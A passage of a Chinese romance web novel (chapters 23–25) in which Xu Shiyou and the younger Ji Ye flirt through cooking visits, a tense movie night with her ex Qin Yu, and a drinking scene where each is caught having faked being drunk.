出来的时候,季野已经挽起了袖口,系上了围裙,正专注地处理着手上的土豆。
徐诗柚背靠着料理台,手里端着他已经洗过的葡萄,时不时往嘴里塞一颗。
视线却一直粘在他削土豆皮的手上。
季野有双很适合弹钢琴的手,指骨纤细却不显单薄,指尖修长白皙,如上好的羊脂玉,透着细腻的光泽,自带一种精致感。
青色的血管沿着骨节蜿蜒,又多了几分野性的张力。
性感又好看。
她看得入迷,咽下嘴里的葡萄。
……
季野好歹跟季薇学做了一个月菜,水平还是有的,处理起食材来并不生涩。
但因为“买六送一”的事,他整晚精神都高度紧张。
尤其是徐诗柚还一直站在他身后盯着……
每次徐诗柚喊他,他浑身的毛都感觉要应激性立起,然后又在发现虚惊一场后暗自松了口气。
这顿饭吃得他心惊胆战,但徐诗柚却惊艳了。
季野这次做的菜,和季薇做出来的口味有七八分像,她还为此多吃了碗饭。
由于她全程毫不吝啬的夸奖给予了极高的情绪价值,季野短暂松懈,小狗尾巴愉悦地一甩一甩。
这一个月学做菜,他可没少挨他姐骂,所幸努力没白费。
但饭后,他又夹紧了尾巴,开始精神紧绷。
一直在下意识地期待……不是,等着什么。
但事情没并有朝预想中的发展。
事实是,这一晚,他们什么都没发生。
真的就是吃了一顿饭而已,一点暧昧越界的行为都没有。
徐诗柚甚至认真向他请教了很多建模方面的问题,列举了一些她手作中遇到的情况,问他有没可能通过建模来解决。
她手艺精湛,接的都是些高难度的单子,所以也能对接到一些高质量客户,不过这种客户通常要求也高。
比如她最近接到的一批批量定制,是来自一个游戏平台的。
是同一个系列的角色定制。
游戏里有好几个职业角色,每个角色要求2个不同动作,客户要求先看每个角色的预览图,确认造型后再开工。
但她画草图的速度慢,客户还总要求修改,快把她熬死了。
季野一听,提议她可以先用建模生成可视化预览图,这样既可以精准还原角色细节,也可以调整动作角度,提高效率和手作精准度。
她抱怨的时候一张精致的小脸皱得苦巴巴的,一听他说能解决,立马眼神亮晶晶的,用一种近乎崇拜的眼神看他,还把他好一顿夸。
季野被她夸得晕头转向的,也不紧张了,还稀里糊涂地就应下了这份工作。
被送走的时候,他还一脸懵。
不是……
就这?
他甚至怀疑,姐姐该不会是骗他来打工的吧?
他委屈巴巴,依依不舍地被送出了门。
徐诗柚笑容灿烂地在门口朝他挥手。
“弟弟小心”“弟弟再见”。
季野:“……”
-
小狗:【姐姐,我今天又新学了几道菜,你要试试吗?】
徐诗柚把刚剪辑好的教程上传到账号,看到上头弹出的信息便点了进去。
徐诗柚:【什么菜?】
季野报了几个菜名,接着说:【正好上次不是还剩了不少食材吗?姐姐又不做饭,放坏了也是浪费……】
徐诗柚想起前几天他们在超市买的菜还剩了不少在冰箱里,便起身去看看有没有能用上的,没有的话打算再去补。
结果她一看,剩下的食材几乎完全贴合他今天的菜谱。
难怪那天要买那么多菜,她就说吃不完……
呵,今天新学的?
没想到小狗也会耍小心机了。
这都提前给自己安排好下次上门的借口了。
-
季野连日来心情郁结。
那天从徐诗柚家里出来后,无端失落了许久。
尤其是,一想到那“买六送一”是不是有别的主人时,就心情超差。
再进一步想到,他没见到姐姐的日子里,那些东西是不是已经被使用过了,他就感觉人都要疯了。
很想冲上门去喊她负责!对他负责!!
想得都快魔怔了。
所幸,他买菜的时候就考虑着给自己找下次登门的借口了。
不仅如此,季野在发现这招屡试不爽之后,其他借口都懒得找了。
每次都提着新买的菜上门,下次就说怕放坏了浪费,频频自荐上门当厨师。
徐诗柚也从来不会拒绝他。
不过他们关系依旧很纯洁,除了吃饭,就是聊建模和手作。
没有发生一点季野设想中的行为。
但他总是在交谈的时候忍不住出神,盯着对方那一张一合的小嘴挪不开眼睛。
人是会变得贪心的。
以前觉得能见上一面就满足了,再后来,觉得能经常见上就已经没什么好奢求的了,但一旦有过亲密接触后,那什么只是见见面的都通通见鬼去吧。
他不想只是能见到她了。
这远远无法填补他内心的空虚。
他还想和她亲近,想碰她,想拥抱,想亲吻,想……
“你干嘛呢?吃个饭老垮着张脸?”
季薇这阵子可享受了一把有个好弟弟的福利,隔三差五下班回来就能吃上热饭。
除了弟弟每次垮着张脸郁郁寡欢的样子有点影响食欲。
“对了,明晚不用做我饭哈,我约了我家柚子。”
季野立马竖起耳朵:“去做什么?”
“周末了,当然是和姐妹约着放松下,看看电影,喝喝小酒什么的啦~”
听到前半句还好,听到后面半句,季野立马面露不悦:“你又要带诗柚姐去酒吧那些地方?”
又要?
季薇听着这话,就有点不爽了,还没反驳呢,又听见自家亲弟继续在那说——
“你自己不学好就算了,能不能别把诗柚姐也带坏啊?”
季薇听得目瞪口呆:“你说谁带坏谁?”
去他的,当年她第一次踏进夜店那种地方,第一次点男模,全是徐诗柚带头怂恿的好不好!
所以才能从此开启了快乐的富婆生活……
不是,怎么现在就成她带坏的了?
“总之,你别带她去那种地方了。”他说,“你也别去,不安全。”
季薇面露古怪,一脸的一言难尽:“你是不是对柚子有什么滤镜啊?”
以为她是什么纯情少女吗?
“而且,酒量这么差还去什么去。”季野自动过滤掉她的话,眉眼下沉,带着点情绪地扒拉着米饭,自顾自往下说着。
“酒量差就算了,还断片……”说到这句,隐隐有幽怨冒出,但他声音低了下去,不像在对谁说,更像是在自言自语。
但季薇还是听见了,立马不服地反驳:“你说谁酒量差了?断片?我什么时候断过片了?我怎么不知道?”
“……没说你。”
“……你说柚子?”季薇兀自猜测着,更可笑了,声音都提高了几分,“开什么国际玩笑?她酒量比我都好呢,再醉都还能保持一两分清醒的,怎么可能酒量差!”
“还断片?”说到这,她更不屑了,“我都认识她多少年了,她喝酒断片我会不知道?”<
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季野用筷子挑菜的手一时顿住。
缓慢地抬眸看向他姐,声音压抑着什么:“你,再说一遍?”
“什么再说一遍?”
“就是你说,诗柚姐她喝酒…不会断片……是这个意思吧?”
心底其实已有了答案,但他还是忍不住确认。
感觉胸腔有什么在震动,咚咚,咚咚。
“对呀,她酒量和酒品都好着呢,就没断过片!”
“不过你问这个干嘛?”
季野已经听不见其他声音了,耳边只剩下自己疯狂跃动的心跳声。
-
秦聿:【过来这边出差,等会忙完,接你吃饭。】
徐诗柚:【不去,今晚和闺蜜约了看电影,要去你自己去吧。】
五分钟后,【随你,我也不是非要和你吃不可,爱吃不吃。】
徐诗柚放下手机,不再理会。
谁还要惯着他这臭脾气了?
……
晚上7点多,徐诗柚收拾完出门。
想着看完电影还要去喝酒的,她也没开车,直接打车到了电影城。
她到的时候,季薇已经等在那了。
精英女强人今天换了身名媛风的穿搭,少了几分强势,多了几分千金小姐的柔美矜贵,还有些娇俏。
徐诗柚忍不住上前抱住香香软软的闺蜜:“哎,我家薇薇怎么好看?”
“我家柚子更好看!”
“我家薇薇是哪偷跑出来的人间富贵花吧?”
“我家柚子是下凡来历劫的小仙女吧?”
“……”抱着爆米花回来的季野站在几米外,迎着周围人打量的目光,有些不想靠近。
好…丢人啊……
等她们商业互吹完,季野才低着头走过去,喊了声:“姐姐。”
声音是从身后传来的,徐诗柚有些发蒙地扭头看去,季野朝她递来一杯热奶茶。
徐诗柚傻愣愣接过。
季薇没跟她说季野也会来啊?
她看向季薇。
季薇耸耸肩:“他非要跟来的,说这电影的第一部他也看了。”
毕竟是两个女生的约会,他这么不打招呼地突然插进来,确实有些不合适。
季野食指关节蹭了蹭鼻尖,接过话:“我就是想着顺便,就一起来了,是不是打扰到你们约会了?”
他看向徐诗柚,面露迟疑:“姐姐…不会介意吧?”
“要是介意,我下次看也行……”他说着,眼里随之泄出几分失落的神态。
季薇见鬼似地斜睨了他一眼,这谁!怎么茶里茶气的?
徐诗柚也觉得季野今晚说话怪怪的,不过也不是很在意。
“不介意呀,一起看呗。”又不是不熟。
周六人比较多,离电影开场还有20分钟的时候,几人就准备去排队了。
季薇不知道是不是冰可乐喝多了,忽然就开始捂着肚子喊痛。
她痛得龇牙咧嘴地狠掐季野手臂:“我要去下洗手间,等会我要是还没回来,你们就先进去吧!”
说完,一溜烟跑了。
剩两人面面相觑。
季野耸肩,无奈:“刚让她不要喝那么多冰的了,偏不听……”
徐诗柚也无奈,去吧台重新买了杯热饮,这才拉过季野往检票队伍过去。
“没事,票她拿着了,等会能自己进去,我们先去排队吧。”
这一会功夫,已经排了不少人,两人排到了队伍的最后面。
“你快点呀,马上都开始了,腿这么长,就不能走快两步?”
“急什么?少看几分钟又不会死,不就是部电影吗?”
“这电影拍得很好的,你看了就知道了。”
“没兴趣。”
身后传来一男一女的对话,很耳熟,徐诗柚听见的时候,恍神了几秒,验证般往后看去。
四人目光相对,皆是一滞。
秦聿先挑起了眉,视线缓缓从徐诗柚脸上,挪到她身旁长相优越的男人身上。
蓦地,冷笑出声:“闺蜜?”
23. 电影
“诗柚?”温念惊喜出声,“听说你辞职后来A市发展了,没想到这么巧,一来就碰上了。”
徐诗柚闻声望去,对方海藻般的栗色长卷发随意地披在身后,衬得本就巴掌大的脸越发精致,弯起的眉眼让原本冷艳的气质多了几分柔和。
徐诗柚牵动了下唇角,礼貌回应:“是啊,真巧,你们也来看电影?”
原来他是和温念一起过来的,所以他说的,也不是非要和她吃不可,是这个意思啊。
徐诗柚有些自嘲地想,确实,他从来不是非她不可的。
“我们来这边出差,刚好忙完路过这附近,就顺便过来看了。”
温念本是打算自己来看的,没想过秦聿会答应,也就那么随口一问,没想到他就同意了。
毕竟认识这么多年,他也没单独陪她看过一场电影。
“这位是?”温念也注意到了季野,眼神有些打趣。
身高长相都极为优越的男性,不输秦聿,但和秦聿那种矜贵高冷的气质不同,是少年人独有的青涩与鲜活,干净又纯粹。
徐诗柚轻轻扯过季野,很自然地介绍:“我弟弟。”
话落,对面传来秦聿的一声笑。
几人都不由地望去。
秦聿不以为然地手抄着兜,为自己的突然发笑随口解释:“没什么,突然想到了点好笑的事而已,不用在意。”
“……”
温念的视线在几人身上打了个转,不动声色地化解这有些尴尬的场面。
她笑笑,朝队伍抬了抬下巴:“快排到我们了,走吧。”
……
真倒霉,看的是同一部电影就算了,居然还是前后位。
徐诗柚多少有些无语。
秦聿就坐在她身后,简直如芒在背,这场电影八成是看不进去了。
她看向旁侧的季野,从刚才起,就一直闷不吭声的。
下颌线紧绷着,眉眼冷淡,心情不虞的样子。
她扯了扯他袖子,看他配合低下头来的同时,问:“你怎么了?是不是……”
嗡嗡——
手机震动。
徐诗柚下意识垂眼,看向掌心的手机。
秦聿:【这就是你说的,和闺蜜来看电影?】
徐诗柚眉心微拢,向后看去。
秦聿却没看她,下巴高傲地抬着,冷漠地看着屏幕的方向,好像那信息不是他发的似的。
季野也看到那条信息了,暗沉的眸光闪了闪。
徐诗柚锁上手机,当没看见。
怀疑她撒谎?
别说她没撒谎,就算有,难道她和谁看电影,还得向他打报告不成?
自己有美女作陪,还不允许她和帅弟弟约了?
她正了正身子,打算专注看电影。
直到电影开场五分钟后,有人猫着腰一路过来,坐在了她另一侧。
“还好还好,赶上了,这肚子给我闹死了。”季薇讪讪坐下。
“还疼吗?要不要去买点药?”徐诗柚问。
“不用了,就是正常闹肚子而已,喝得有点凉了。”
徐诗柚把新买的热饮递给她:“给你重新买了杯热的,别馋那口快乐水了。”
季薇接过,捧在手心暖暖的:“知道啦,还是宝贝你贴心。”
季薇过来的时候,秦聿也注意到了,不过几秒,又垂下了眼。
原来没撒谎,还真是和闺蜜来的。
他视线扫过她另一侧,落在那靠得她极近的男人肩上。
……这小子又是谁?
徐诗柚看得有些心不在焉,不仅因为总感觉身后有道视线一直在自己身上,也因为旁侧的季野,一直在散发低气压……
季薇没心没肺地看得乐呵,时不时还跟她吐槽两句剧情。
徐诗柚把爆米花朝季野的方向递了递:“吃吗?”
季野垂下眼,摇头,没什么胃口的样子。
徐诗柚干脆捻起一颗递到他唇边,低声逗他:“啊,张嘴。”
季野微征,倏地就想起醉酒那晚她说的那句“阿野乖,张嘴~”,呼吸都滞了片刻。
他这次并没有听话地张嘴,而是定定看着她,目光逐渐下移,落在她唇上,停留几秒。
他忽地低下头,凑近她耳畔,气声道:“姐姐跟我说,阿野乖,张嘴,我就吃。”
徐诗柚咯噔一下,错愕望去,对上弟弟似笑非笑的眼。
没了平日那乖巧老实的劲,看着无端生出了几分恶劣。
……是错觉吗?
“胡说什么,不吃就算了。”她莫名有些慌乱地避开他目光。
季野却握住了她要收回去的手,就着她的手,含下了那颗爆米花。
他的唇还把她的指尖吸进去了点,沾了点潮润。
徐诗柚人都麻了,瞪着眼一愣一愣的,指尖似都在发烫。
忽的感觉座椅后背被踢了下,她回过神来,朝后瞪去。
秦聿依旧一副专心看电影的姿态,根本没空注意她,但徐诗柚知道,肯定就是他干的。
季野也察觉到了些什么,淡淡地向后瞥去:“怎么了姐姐?”
“没……”
她揉了揉被他热息喷得痒痒的耳朵,能不能别再这么对着她耳朵说话了,好痒。
弟弟今天怪怪的。
嗡嗡。
手机又响了。
秦聿:【你是空窗太久,很缺男人吗?这么小的都不放过?】
徐诗柚冷笑,哒哒哒回复:【我就喜欢小的,要你管!】
秦聿:【哦,还真不知道你喜好这么特别?那和我,看来还挺为难你的?】
徐诗柚看了好一会才看明白了他话里的荤意,忍不住唾了声,真不要脸!
【我说的是!我喜欢年轻的!不喜欢老男人!OK?】
秦聿:【你确定?】
秦聿:【可我看你当初不也挺享受的。】
啪,徐诗柚再次按掉手机。
神经病,懒得回。
她愤愤地咬着奶茶吸管,心里骂了狗男人几百遍。
噢,太甜了这杯奶茶,有点腻。
“姐姐?”季野的视线随着她熄灭的屏幕收回,注意到她微拧的眉心。
徐诗柚意识到自己情绪过于外露了,抿了抿唇,收敛些许,“没,就是这里的奶茶太甜了,有点喝不下。”
“太腻了?”他偏头,忽然一口含上她的吸管,吸了口。
徐诗柚都被他这行为给惊到了。
不是,这她喝过的呀……
他试了口,动作自然地接手了她的奶茶:“是太甜了点,反正姐姐喝不下这个了,要不试试我的?”
他递过自己的果茶到她手上:“这个果茶味道还行。”
“不过我喝了一口。”他摸了摸耳朵,视线转向屏幕,“如果姐姐介意的话…就算了。”
“实在想喝其他的,我可以再去买。”
“……”
一套操作下来,唬得徐诗柚一愣一愣的。
弟弟今天怎么这么……
哒。
后背又传来被踢的震感。
徐诗柚直接头都不回了,微笑着接过弟弟的果茶,含进嘴里,笑颜璀璨:“我不介意啊!”
季野唇角漾起一点弧度,在视线转回屏幕前,似是
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不经意地朝她后方扫过,眼神冷漠,唇角弧度却渐深。
都是男人,秦聿一眼就明白了那眼神的意思,都要气笑了。
哈,挑衅?
-
电影散场后,季薇才发现了后排的秦聿和温念。
她震惊地用手肘捅了捅徐诗柚:“什么情况?”
徐诗柚两手一摊,耸肩:“说是来出差,刚好碰上。”
季薇竖了个拇指:“带着温念一起出差,看电影,还拉到你面前晃?真牛。”
“说不是故意的都没人信。”她啧啧两声,感慨,“还以为他这段时间雷打不动地两地跑,约你吃饭,是想吃回头草呢,有些人,就是不能对他有太多期待。”
季野不动声色地朝她看了眼。
徐诗柚只是笑笑,不说话。
她才和他说过要和季薇来看电影,他一个都不怎么去电影院的人也来了,她也很难说这是不是巧合。
说起来,他都没陪她看过电影呢。
这么想着的时候,几人又在电梯外碰上了,电梯刚好下去了一趟,几人都只能等待。
“秦总,三天两头地往这跑,看来工作挺闲的啊?这会还有空看电影呢?”季薇视线扫过两人,没忍住,先开嘲。
秦聿睨了她一眼,不遑多让:“哪比得上季总,出差一回来就奔着夜店跑,精力旺盛啊。”
他这话,多少带了点谴责的意味,暗讽她自己不正经还带坏徐诗柚。
季薇却不以为然,反而得瑟地抱住徐诗柚胳膊,下巴高昂:“那是,夜店年轻弟弟多啊,多看两眼什么精神都来了,弟弟长得帅,身材好,还会哄姐姐,情绪价值给足,不比那些总拿一双狗眼看人的好?”
“是吗?”秦聿冷笑,“也不怕脏。”
“明着脏,那也总比某些暗着脏的人好,起码人家坦荡,不会打着欣赏这个欣赏那个的名义,和谁都没边界感。”
“呵,你什么意思?”秦聿笑了,声音却冷了几度。
眼看两人在电梯门口快打起来了,徐诗柚扶额。
温念也在一旁看着,并不作声,没有要阻拦的意思,只是视线若有似无地落在徐诗柚身上。
这会电梯前已经聚集过来不少人,几位又都是极为亮眼的存在,徐诗柚赶紧扯住季薇,小声说:“差不多得了,别和狗争论。”
她自认为说得很小声,但秦聿却朝她扬了下眉。
徐诗柚心虚了下。
正好这时,电梯上来了,她赶紧拉着季薇进去。
人有点多,她们又是最先进去的,眼看着越来越多的人挤进来,徐诗柚不得不往角落里贴。
她眼神不经意扫过秦聿,见他面色沉郁,却不动声色地挡在了温念面前。
她收回视线,垂下眸,望见一双熟悉的运动鞋面也正朝着自己。
略略一诧,发现季野就挡在她跟前,自己面前也没人挤着了。
他绷着张脸,也不说话,却一直垂眸凝着她,见她看来,又沉默地移开视线。
徐诗柚心头微动,低下了头,鬼使神差地,伸手勾了勾他的尾指。
身前的人明显顿了下。
徐诗柚再次抬头看去的时候,对方耳尖又是红红的了。
但还是任由她勾着玩,也不反抗,徐诗柚甚至感觉到了他手指的微动,似是想要回应。
没等到他回应,电梯到了一楼,徐诗柚松开了他,若无其事地挽上季薇出去。
两拨人在电影院门口准备分道扬镳。
季薇才踏出大门,肩上的皮草往下一滑,亮出里面性感的露肩裹身裙,故意似地,喊出了声:“走!转场!咱找帅弟弟去!”
24. 酒量
没想到季薇会突然亮出战衣,季野先是一愣,紧接着嘴角不可控地抽了抽,伸手就把她往下拉的皮草裹了回去。
“你有病啊?”
“骂谁呢你?”
“冷不死你。”
徐诗柚哭笑不得,食指挠挠额角,面对影院门口群众投来的目光,都有些尴尬了。
而季薇的这一举动也果然引来了正准备往另一方向走的两人注意。
秦聿朝她看来一眼,那眼神似是要透过她的大衣看穿里面的本质。
徐诗柚下意识抱臂紧了紧身上的大衣,她裹得严实,什么都看不出来。
他哧了声:“出息。”
然后便带着温念头也不回地走了。
见人走了,季薇立马把皮草裹紧:“草,冷死老娘了。”
徐诗柚:“……”
“走走走,今晚过金港嗨,听老板说,最近来了一批新的小鲜肉呢,我们去过过眼!”季薇转眼就兴奋地挽住徐诗柚往车的方向走。
季野上了驾驶位,她们两人上了后座。
“弟啊,去金港,把我俩送到你就回家去,懂?”
对弟弟卸磨杀驴这事,季薇干得毫不手软。
季野系好安全带,朝后视镜扫来一眼,也不吭声,缓缓启动车子开出去。
-
那头,秦聿喊了车,上了副驾,温念坐在后排。
她观摩了会车窗玻璃的倒影,注意到秦聿从电影院出来后就一直冷沉着的脸。
秦聿对刚才季薇的话越想越不得劲,没忍住,还是掏出手机给徐诗柚噼里啪啦发了一通。
“是她吧?”安静的车内,温念忽然出声。
秦聿撩起眼皮,也透过玻璃和她对视。
温念接着补完:“你家里那些东西的主人。”
“这就和你无关了吧。”就算是十几年的好友,秦聿也不是个喜欢被别人探查私事的人。
他这么说,温念已然有了定论,只是笑笑,扭过头去看窗外的风景。
原来她以为会永远冷静,永远理性的秦聿,也会有为了谁而情绪外露的时候啊。
……
【你们刚那话什么意思?骂我脏?】
【徐诗柚,你嫌我脏?】
【那你酒吧找的那些,和鸭子没什么区别的,不更脏?我看你挺爱啊,三天两头地往那些地方跑。】
车子开出一半路程的时候,徐诗柚才看到秦聿发来的消息,看得嘴角一抽。
看来他很在意季薇暗骂他脏的事啊。
许是她没立马回应,引来了对方的不满,隔了20分钟后,对方又再次发来。
【徐诗柚,我和你的关系开始得确实比较特殊,但除了你,我也没有和别人过。】
【骂我脏,我可不认。】
季薇看见了,直接夺了手机替她回答。
【男人不自爱,不如烂白菜!】
她回了这么一句。
秦聿给她回了个问号:【几个意思?】
季薇:【你怕是不太懂我们女人对干净和脏的定义。】
季薇直接在网上找了个关于“男洁”定义的截图给对方发去:【你这种在我们这,就叫不守男德,懂?】
一通发完,她才把手机还回去,神清气爽地往后靠去:“他气到了吧?气到就对了,气死他!”
过了会,秦聿回:【呵,你在跟我开玩笑吗?】
【你这意思,是让我断绝一切和异性的来往?包括工作上的接触都不行?】
【你自己看看,这现实吗?几岁了,还在做梦?】
徐诗柚看了眼在开车的季野,默默低头敲字。
【你说得对,确实不太现实。尤其是对你们这种……】
她决定委婉一点,不骂他老男人:【已经不年轻了的。】
【要求全身心干干净净是有点难。】
徐诗柚:【所以,我这不才要找年轻的弟弟嘛?从小教育。】
说完,她手机一丢,不再回他。
车子抵达地方,缓缓停下,只是季薇往外看了眼,直接踹了前座一脚。
“让你去金港呢,你开回家几个意思?”
“你自己先上去,我把诗柚姐送回家就回。”季野不为所动。
季薇不乐意,抱着胳膊赖在座上:“我不要,我不回家,送我去金港。”
“你今晚不才肚子痛完?又去喝酒,是怕死得不够快吗?”
“……那我不喝酒,就看看帅哥表演什么的,总行吧?”
“信你不会喝酒,还是信我是秦始皇?”
噗嗤——
徐诗柚没忍住,笑出了声。
她还是第一次见季野这么呛人的说话方式。
“你们姐弟,平时都是这么相处的吗?”她好像确实没怎么见过两人相处的情景。
季野耳根烫了下,完了,光顾着和他姐呛嘴,都忘了在姐姐面前保持乖弟弟的形象了。
他自暴自弃,赶亲姐下车:“赶紧下车回家,再跑到那些地方我就找爸告状了。”
季薇又踹了脚前座,烦躁:“我就是为了不让死爹管着才跑来分公司这边的,没想到又多了个爹,你烦不烦啊……”
她嘴上骂骂咧咧,身体却很诚实地已然开门下车。
徐诗柚看他们这身份颠倒的相处模式只觉好笑,趴在窗户冲她挥手:“别烦了,弟弟说得没错,你今天不舒服,还是别去了吧,去了不让你喝酒你肯定憋不住。
“下次。”徐诗柚笑容灿烂,桃花眼狡黠成弧,“下次我们偷偷去,不让弟弟知道~”
听她们大声密谋的季野:“……”
目送着季薇进了楼,徐诗柚这才往后靠回车上。
“你要送我回去?”她透过后视镜,和季野目光接上。
“嗯。”
她唇角勾起,存心逗他似的,忽的上前趴在他车靠上,探出头来:“我没肚子痛耶?你姐不能喝酒,我能喝吧?”
“还是说……你也要管我?”
热息扑在耳廓,季野瑟缩了下,下意识偏头避开了些,嗫嚅着:“一个人在外面喝酒不安全……”
徐诗柚乐了,抬手捏了捏他微烫的耳朵:“还真管上了啊?”
季野的耳朵在她手底下迅速飘红,却没挣开,只是搭在方向盘上的手指紧了紧,低下头,乖巧提议,“只是想喝酒的话,回家喝也行吧?”
“可我不是只想喝酒啊~”
“姐姐是想……”她拖腔带调的,在他耳边一字一顿地补完,“找、乐、子~”
季野抿紧了唇瓣,不吭声了。
“弟弟懂的吧?”
“……他们不配。”
“什么?”他说话声变小,徐诗柚没听清。
“没……”他眼睫微动,缓缓看来,“那,
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我陪姐姐喝可以吗?”
徐诗柚唇角微扬,极淡地挑了下眉:“你会喝吗?”
“……会吧。”
吧?
“行啊!”虽然不知道他到底会不会喝,不过徐诗柚听到了想要的答案,愉悦地跌坐回去。
-
本就是特意租在离季薇家不远的地方,两家离得不远,开车很快就到了。
季野先下了车,徐诗柚眼看着他从后备箱的不知道哪个角落里翻出了一盒酒,冲她扬了扬。
徐诗柚两眼一亮。
她怎么就忘了薇薇爱在车上藏酒这事呢?
她冲他比了个大拇指。
“不过……”她迟疑,“你姐发现不会揍你吧?”
季野笑笑,随口:“不管她。”
“……”
徐诗柚显得有些兴奋,一进门,踢掉鞋子就去翻酒杯。
季野有些意外,多问了句:“姐姐很爱喝酒?”
徐诗柚翻出来两个古典杯,走至客厅放下:“很爱谈不上,但偶尔也喜欢小酌几杯。”
傻弟弟,姐姐想喝的是酒吗?
“啵”的一声,酒塞被打开。
带着琥珀色酒液的温润香气,顺着瓶口漫出。
季野往两个酒杯都倒了点,推过去一杯:“姐姐,你先尝……”
他推过去的同时抬眼,便见她的大衣顺着肩线滑落,露出里面黑色的裹身裙。
面料还带着细碎的反光,领口是不规则的斜裁设计,一侧贴合锁骨,一侧微微下滑,露出半截圆润的肩头,透着不经意的性感。
季野眼睫一颤,喉结翻滚,迅速低下了眼。
看来她们是真的准备去酒吧找乐子的,都有备而来。
里面都穿这么性感……
还好他跟来了。
他眸色闪了闪,故作自然地把话说完:“尝尝看吧……”
徐诗柚把外衣扔至沙发,自己则往地毯上坐,坐下时随口问道:“之前喝过酒吗?
“喝过。”季野不嗜酒,但大学聚会什么的,还是喝过的。
徐诗柚端起酒杯晃了晃,欣赏了下杯中液体,叮嘱:“你姐的酒一般都挺烈的,慢点喝。”
客厅没开大灯,暖黄的氛围灯像是给客厅打上了一层柔焦滤镜,威士忌的醇香裹着淡淡的酒气在空气里漾开,氛围无端滋生出几分暧昧。
徐诗柚屈膝坐在地毯上,后背轻轻靠着沙发沿,指尖无意识摩挲着杯身,慢悠悠地品酒。
季野就坐在离她身侧半臂远的位置,鼻尖还能闻到她发间的香味,清冽又勾人。
他不知道听进去了还是没听进去,人都是恍惚的,就着杯子就抿掉了那一小口。
喝得太急,辛辣的酒液裹挟着灼热感,从舌尖一路烧到喉咙,呛得人连带着太阳穴都突突地跳。
酒劲猛得上头那么一下,只觉人都麻了。
徐诗柚见他放下空杯,下意识扭头看去:“再喝……”
咚的一声,眼尾余光里,弟弟头朝着桌面磕去。
她慢半拍地补完:“……点?”
徐诗柚维持着端着酒杯的姿势,脸上茫然几秒:“……”
不是……
就……
一杯啊……?
什么鬼?一杯倒??
就一个杯底的量啊!!!
这都还没进入正题……呢?
25. 骗子
徐诗柚没好气地伸手戳了戳他黑黢黢的脑袋:“弟弟?”
脑袋动了动,脸朝她侧了过来,冷白的脸上明显泛起了一层薄红。
“不是,弟弟你这也太菜了吧?”
徐诗柚都想敲他脑袋了,但瞧见他睡容,又有些不忍心。
昏黄的灯光下,少年眼帘轻阖,长睫垂落,在眼下投出浅浅的阴影。
平日里有些冷淡的眉眼此刻显得乖巧恬静。
漆黑柔软的碎发垂落些许挡在眉眼间,更显乖顺。
徐诗柚看着那他卷翘的长睫,手心泛起点痒意,没忍住,用指尖拨弄了下:“真好看啊,小狗。”
指尖下的睫毛轻轻抖动,徐诗柚吓一跳,迅速抽回手。
地上到底凉,徐诗柚想把他整到沙发上。
但她高估了自己的力气,也小看了一个一米九高大男孩的体重,努力了几次,最后在扶起一半时,一个腿软,跌回了原地,弟弟整个跟着晃了晃,顺势跌了过来,头歪倒在她肩上。
徐诗柚:“……”
白忙活了。
她原地休息,捞过手机随意看两眼,这会才点进去秦聿那被她晾了很久的信息。
【你以为弟弟就很干净?】
【怕是不知道现在的小孩都早熟得很吧?指不定比你懂的都多。】
徐诗柚略略扫过一眼,依旧无视。
幼稚。
是的,秦聿某些方面和他成熟的外表完全不同,很幼稚,还很爱嘴架,且一般没人能吵得赢他,还会被他气个半死。
徐诗柚才不想被他气。
她摁灭手机后,兀自又倒了杯酒,慢悠悠喝着。
就这么任由弟弟靠了会后,她撑不住了,手酸,再次尝试把人弄到沙发上。
这次终于成功把人从地上扶起了,结果往沙发放的时候,重力太过,她撑不住,跟着一起栽了下去。
“哎呦!”
季野差不多是被垂直丢下去的,徐诗柚被带着砸在他身上,鼻子撞上了他结实的胸膛,疼得龇牙咧嘴。
她脸还贴在他胸前没能爬起,一手捂住鼻梁,一手愤愤地锤了下把她磕痛的地方:“怎么这么硬啊!”
手底下的胸腔传来震感,一阵接一阵,且越来越强烈。
徐诗柚意识到什么,仰头看去。
季野装不下去了,手臂横在眼睛上,笑得整个人都在抖。
他屈着一只腿支在沙发上,外侧的手捞住几乎扑倒在他身上的人。
徐诗柚摸着发痛的鼻子瞪圆了眼,狠狠戳向他腰窝:“行啊你!”
季野腰窝特别敏感,被她戳那么下,整个人都受不住地从沙发上弹坐起来,笑得越发不可收拾。
手本能地抵抗,反锢住她的两只手,不让她再乱戳。
徐诗柚也爬起,用力扯了扯自己的两只手,没扯回,她眯眼看他笑得两肩都在抖,语气不平:“臭弟弟,学坏了呀?都会骗人了!”
“所以,一杯倒是假的?”
季野好不容易止住笑,清咳了声,黑亮的双眸已然代替了回答。
徐诗柚有些气恼,又挣扎了几下,想锤他:“松手!”
季野没松,低下了眉眼注视她,认真道:“是姐姐先骗人的。”
她下意识反驳:“我什么时候——”
话没说完,手倏地被猛拽了下,她再次跌到对方身上。
“骗子。”季野贴着她耳廓,缓慢而笃定地出声,“那晚,姐姐其实根本没断片吧?”
徐诗柚瞳孔微颤,挣扎的劲缓了下来。
哎呀,被发现了呀……
手不知道什么时候被松开了,徐诗柚被从他身上扶正,对上对方寻来的眼。
他直视她眼睛,再次确认:“那晚的事,姐姐根本什么都记得,对吗?”
徐诗柚眨了眨眼,似在衡量,最后一摊手,不装了:“好吧,既然被你发现了,那我承认吧。”
说完,她撩起眼皮看去,说出的话很无赖:“所以呢,你想怎样?”
想怎样?
当然是想让她负责。
但季野心里也清楚,她假装断片,那就是想当作什么都没发生,更别谈什么负责了。
他只好奇。
“所以姐姐你……”他眼睫垂下,低喃,“为什么要假装醉酒…对我……”
徐诗柚眼波流转,漂亮的桃花眼勾起,歪了歪头,冲他露出个暧昧不明的笑,声音散漫:“我说,弟弟,你是真不知道,还是假不知道啊?”
对上她似笑非笑的眼,季野怔住。
是了,他该知道的……
早该察觉的。
徐诗柚和他相处时的一些话语,肢体动作,多少是有些超出姐弟情谊的……
那些莫名萦绕在两人之间的暧昧氛围,也不是他的错觉。
所以,姐姐对他,至少不会是那么单纯的……
意识到这点,一种隐秘的欣喜正在一层一层地往外冒着泡。
对上那双眼尾微微上挑的桃花眼,也觉得里面似是藏了钩子,他喉结翻滚了下,受蛊惑般,头偏开,低下,缓缓朝对方而去。
就在唇快碰上一起时,徐诗柚抬起了手,捂住他,挡在了两人之间。
季野停住,眼睫轻轻扇动,眼尾耷拉下去,泄出几分失落。
徐诗柚也不知怎的,忽然就有些慌了。
弟弟主动索吻,这不是说明人撩到手了吗?她该高兴的。
但看到他主动凑上来的时候,她又无端生出了几分愧疚,也不知道是对他的,还是对季薇的。
人没撩到手的时候,她可以随便想怎么样都行,反正又不用负责,但一旦这件事变为双方默许的,那性质就不一样了。
两人的眼神在极近的距离里无声交流。
